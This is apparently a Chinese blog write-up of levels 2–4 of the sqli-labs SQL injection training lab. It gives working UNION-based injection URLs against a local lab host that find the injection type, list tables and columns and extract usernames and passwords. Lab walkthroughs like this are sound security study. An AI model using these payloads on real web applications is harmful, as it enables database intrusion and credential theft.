SQL注入闯关第二关---第四关

目录

第二关Less-2:GET - Error based - Intiger based

1、判断注入点类型

2、使用order by猜测字段数,根据第一关,字段数为3;

3、联合查询获取显示位置

第三关Less-3:GET - Error based - Single quotes with twist - string

1、判断注入点类型

2、字段数,显示位置,数据库版本,库名的获取参考第一关

3、联合查询查询表名

4、获取列名

5、用户名和密码的获取:

第四关Less-4:GET - Error based - Double Quotes - String

1、判断注入点类型

2、其他步骤参照第一关;


第二关Less-2:GET - Error based - Intiger based

1、判断注入点类型

id没有被其他字符包裹,猜测数字型注入

进行验证:

 

 对照最终确定该注入点为数字型注入;

2、使用order by猜测字段数,根据第一关,字段数为3;

3、联合查询获取显示位置

http://192.168.162.135/sqlilab/Less-2/?id=-1 union select 1,2,3 --+

其他步骤与第一关相同;


第三关Less-3:GET - Error based - Single quotes with twist - string

1、判断注入点类型

(1)、单引号测试:http://192.168.162.135/sqlilab/Less-3/?id=1'

判断sql语句为:select * from users where id = ('$id');

(2)进行验证:

http://192.168.162.135/sqlilab/Less-3/?id=1') --+

http://192.168.162.135/sqlilab/Less-3/?id=1') and 1=1 --+

http://192.168.162.135/sqlilab/Less-3/?id=1') and 1=2 --+

最终确定:该注入点为字符型注入;

2、字段数,显示位置,数据库版本,库名的获取参考第一关

3、联合查询查询表名

http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

4、获取列名

http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

5、用户名和密码的获取:

http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,username,password from users where id=1 --+

改变id的值,获取不同的用户名和登录密码;


第四关Less-4:GET - Error based - Double Quotes - String

1、判断注入点类型

(1)、单引号测试

正常显示,说明单引号被过滤;

(2)、尝试其他符号

判断sql语句为:select * from users where id=("$id");

(3)、进行验证:

http://192.168.162.135/sqlilab/Less-4/?id=1") --+

http://192.168.162.135/sqlilab/Less-4/?id=1") and 1=1 --+

http://192.168.162.135/sqlilab/Less-4/?id=1") and 1=2 --+

最终判定:该注入点为:")字符型注入;

2、其他步骤参照第一关;

例:查询表名:

http://192.168.162.135/sqlilab/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+


  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值